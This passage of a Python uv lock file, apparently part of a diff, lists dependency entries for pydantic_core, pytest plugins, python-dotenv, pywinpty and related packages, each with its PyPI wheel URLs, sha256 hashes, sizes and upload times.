"https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" }, + { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" }, + { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" }, + { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" }, + { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" }, + { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" }, + { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" }, + { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" }, + { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" }, + { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" }, + { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" }, + { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" }, + { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" }, + { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" }, + { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" }, + { url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b", size = 1974605, upload-time = "2026-05-06T13:37:32.029Z" }, + { url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000", size = 2030777, upload-time = "2026-05-06T13:38:55.239Z" }, + { url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e", size = 2236641, upload-time = "2026-05-06T13:37:08.096Z" }, + { url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd", size = 2286404, upload-time = "2026-05-06T13:40:20.221Z" }, + { url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3", size = 2109219, upload-time = "2026-05-06T13:38:12.153Z" }, + { url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7", size = 2110594, upload-time = "2026-05-06T13:40:02.971Z" }, + { url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff", size = 2159542, upload-time = "2026-05-06T13:39:27.506Z" }, + { url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424", size = 2168146, upload-time = "2026-05-06T13:38:31.93Z" }, + { url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6", size = 2306309, upload-time = "2026-05-06T13:37:44.717Z" }, + { url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565", size = 2369736, upload-time = "2026-05-06T13:37:05.645Z" }, + { url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02", size = 1955575, upload-time = "2026-05-06T13:38:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5", size = 2051624, upload-time = "2026-05-06T13:38:21.672Z" }, + { url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596", size = 2017325, upload-time = "2026-05-06T13:40:52.723Z" }, + { url = "https://files.pythonhosted.org/packages/ee/a4/73995fd4ebbb46ba0ee51e6fa049b8f02c40daebb762208feda8a6b7894d/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c", size = 2111589, upload-time = "2026-05-06T13:37:10.817Z" }, + { url = "https://files.pythonhosted.org/packages/fb/7f/f37d3a5e8bfcc2e403f5c57a730f2d815693fb42119e8ea48b3789335af1/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b", size = 1944552, upload-time = "2026-05-06T13:36:56.717Z" }, + { url = "https://files.pythonhosted.org/packages/15/3c/d7eb777b3ff43e8433a4efb39a17aa8fd98a4ee8561a24a67ef5db07b2d6/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b", size = 1982984, upload-time = "2026-05-06T13:39:06.207Z" }, + { url = "https://files.pythonhosted.org/packages/63/87/70b9f40170a81afd55ca26c9b2acb25c20d64bcfbf888fafecb3ba077d4c/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea", size = 2138417, upload-time = "2026-05-06T13:39:45.476Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" }, + { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" }, + { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" }, + { url = "https://files.pythonhosted.org/packages/11/cb/428de0385b6c8d44b716feba566abfacfbd23ee3c4439faa789a1456242f/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0", size = 2112782, upload-time = "2026-05-06T13:37:04.016Z" }, + { url = "https://files.pythonhosted.org/packages/0b/b5/6a17bdadd0fc1f170adfd05a20d37c832f52b117b4d9131da1f41bb097ce/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7", size = 1952146, upload-time = "2026-05-06T13:39:43.092Z" }, + { url = "https://files.pythonhosted.org/packages/2a/dc/03734d80e362cd43ef65428e9de77c730ce7f2f11c60d2b1e1b39f0fbf99/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2", size = 2134492, upload-time = "2026-05-06T13:36:58.124Z" }, + { url = "https://files.pythonhosted.org/packages/de/df/5e5ffc085ed07cc22d298134d3d911c63e91f6a0eb91fe646750a3209910/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9", size = 2156604, upload-time = "2026-05-06T13:37:49.88Z" }, + { url = "https://files.pythonhosted.org/packages/81/44/6e112a4253e56f5705467cbab7ab5e91ee7398ba3d56d358635958893d3e/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf", size = 2183828, upload-time = "2026-05-06T13:37:43.053Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ad/5565071e937d8e752842ac241463944c9eb14c87e2d269f2658a5bd05e98/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30", size = 2310000, upload-time = "2026-05-06T13:37:56.694Z" }, + { url = "https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" }, + { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pyjwt" +version = "2.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" }, +] + +[[package]] +name = "pyperf" +version = "2.10.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "psutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/16/91/39ca77aa58f13e8c65d747ac7e06584b55acabfa98987fb8d546bc24860d/pyperf-2.10.0.tar.gz", hash = "sha256:dd93ccfda79214725293e95f1fa6e00cb4a64adcf1326039486d4e1f91caaa62", size = 227609, upload-time = "2026-02-07T11:35:14.693Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/91/26/f7bd5e37c254c2671f4dfff316d123eba13663bdfee941a01b09ab02d72d/pyperf-2.10.0-py3-none-any.whl", hash = "sha256:79196bc4a11e3c926dd4c6b14c80136c6b37f884fe913cbc57037f37636e9841", size = 144430, upload-time = "2026-02-07T11:35:12.636Z" }, +] + +[[package]] +name = "pytest" +version = "9.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, +] + +[[package]] +name = "pytest-cov" +version = "7.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage", extra = ["toml"] }, + { name = "pluggy" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/51/a849f96e117386044471c8ec2bd6cfebacda285da9525c9106aeb28da671/pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2", size = 55592, upload-time = "2026-03-21T20:11:16.284Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9d/7a/d968e294073affff457b041c2be9868a40c1c71f4a35fcc1e45e5493067b/pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678", size = 22876, upload-time = "2026-03-21T20:11:14.438Z" }, +] + +[[package]] +name = "pytest-dotenv" +version = "0.5.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, + { name = "python-dotenv" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cd/b0/cafee9c627c1bae228eb07c9977f679b3a7cb111b488307ab9594ba9e4da/pytest-dotenv-0.5.2.tar.gz", hash = "sha256:2dc6c3ac6d8764c71c6d2804e902d0ff810fa19692e95fe138aefc9b1aa73732", size = 3782, upload-time = "2020-06-16T12:38:03.4Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d0/da/9da67c67b3d0963160e3d2cbc7c38b6fae342670cc8e6d5936644b2cf944/pytest_dotenv-0.5.2-py3-none-any.whl", hash = "sha256:40a2cece120a213898afaa5407673f6bd924b1fa7eafce6bda0e8abffe2f710f", size = 3993, upload-time = "2020-06-16T12:38:01.139Z" }, +] + +[[package]] +name = "pytest-mock" +version = "3.15.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/68/14/eb014d26be205d38ad5ad20d9a80f7d201472e08167f0bb4361e251084a9/pytest_mock-3.15.1.tar.gz", hash = "sha256:1849a238f6f396da19762269de72cb1814ab44416fa73a8686deac10b0d87a0f", size = 34036, upload-time = "2025-09-16T16:37:27.081Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/cc/06253936f4a7fa2e0f48dfe6d851d9c56df896a9ab09ac019d70b760619c/pytest_mock-3.15.1-py3-none-any.whl", hash = "sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d", size = 10095, upload-time = "2025-09-16T16:37:25.734Z" }, +] + +[[package]] +name = "pytest-repeat" +version = "0.9.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/80/d4/69e9dbb9b8266df0b157c72be32083403c412990af15c7c15f7a3fd1b142/pytest_repeat-0.9.4.tar.gz", hash = "sha256:d92ac14dfaa6ffcfe6917e5d16f0c9bc82380c135b03c2a5f412d2637f224485", size = 6488, upload-time = "2025-04-07T14:59:53.077Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/d4/8b706b81b07b43081bd68a2c0359fe895b74bf664b20aca8005d2bb3be71/pytest_repeat-0.9.4-py3-none-any.whl", hash = "sha256:c1738b4e412a6f3b3b9e0b8b29fcd7a423e50f87381ad9307ef6f5a8601139f3", size = 4180, upload-time = "2025-04-07T14:59:51.492Z" }, +] + +[[package]] +name = "pytest-watcher" +version = "0.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "tomli", marker = "python_full_version < '3.11'" }, + { name = "watchdog" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e6/d2/80606077b7fa8784417687f494ff801d7ab817d9a17fc94305811d5919bb/pytest_watcher-0.6.3.tar.gz", hash = "sha256:842dc904264df0ad2d5264153a66bb452fccfa46598cd6e0a5ef1d19afed9b13", size = 601878, upload-time = "2026-01-10T23:28:18.805Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/3f/172d73600ad2771774cda108efb813fc724fc345e5240a81a1085f1ade5d/pytest_watcher-0.6.3-py3-none-any.whl", hash = "sha256:83e7748c933087e8276edb6078663e6afa9926434b4fd8b85cf6b32b1d5bec89", size = 12431, upload-time = "2026-01-10T23:28:17.64Z" }, +] + +[[package]] +name = "pytest-xdist" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "execnet" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" }, +] + +[package.optional-dependencies] +psutil = [ + { name = "psutil" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + +[[package]] +name = "python-json-logger" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/29/bf/eca6a3d43db1dae7070f70e160ab20b807627ba953663ba07928cdd3dc58/python_json_logger-4.0.0.tar.gz", hash = "sha256:f58e68eb46e1faed27e0f574a55a0455eecd7b8a5b88b85a784519ba3cff047f", size = 17683, upload-time = "2025-10-06T04:15:18.984Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/e5/fecf13f06e5e5f67e8837d777d1bc43fac0ed2b77a676804df5c34744727/python_json_logger-4.0.0-py3-none-any.whl", hash = "sha256:af09c9daf6a813aa4cc7180395f50f2a9e5fa056034c9953aec92e381c5ba1e2", size = 15548, upload-time = "2025-10-06T04:15:17.553Z" }, +] + +[[package]] +name = "pywinpty" +version = "3.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/bb/a7cc2967c5c4eceb6cc49cfe39447d4bfc56e6c865e7c2249b6eb978935f/pywinpty-3.0.2.tar.gz", hash = "sha256:1505cc4cb248af42cb6285a65c9c2086ee9e7e574078ee60933d5d7fa86fb004", size = 30669, upload-time = "2025-10-03T21:16:29.205Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3e/f5/b17ae550841949c217ad557ee445b4a14e9c0b506ae51ee087eff53428a6/pywinpty-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:65db57fd3387d71e8372b6a54269cbcd0f6dfa6d4616a29e0af749ec19f5c558", size = 2050330, upload-time = "2025-10-03T21:20:15.656Z" }, + { url = "https://files.pythonhosted.org/packages/a6/a1/409c1651c9f874d598c10f51ff586c416625601df4bca315d08baec4c3e3/pywinpty-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:327790d70e4c841ebd9d0f295a780177149aeb405bca44c7115a3de5c2054b23", size = 2050304, upload-time = "2025-10-03T21:19:29.466Z" }, + { url = "https://files.pythonhosted.org/packages/02/4e/1098484e042c9485f56f16eb2b69b43b874bd526044ee401512234cf9e04/pywinpty-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:99fdd9b455f0ad6419aba6731a7a0d2f88ced83c3c94a80ff9533d95fa8d8a9e", size = 2050391, upload-time = "2025-10-03T21:19:01.642Z" }, + { url = 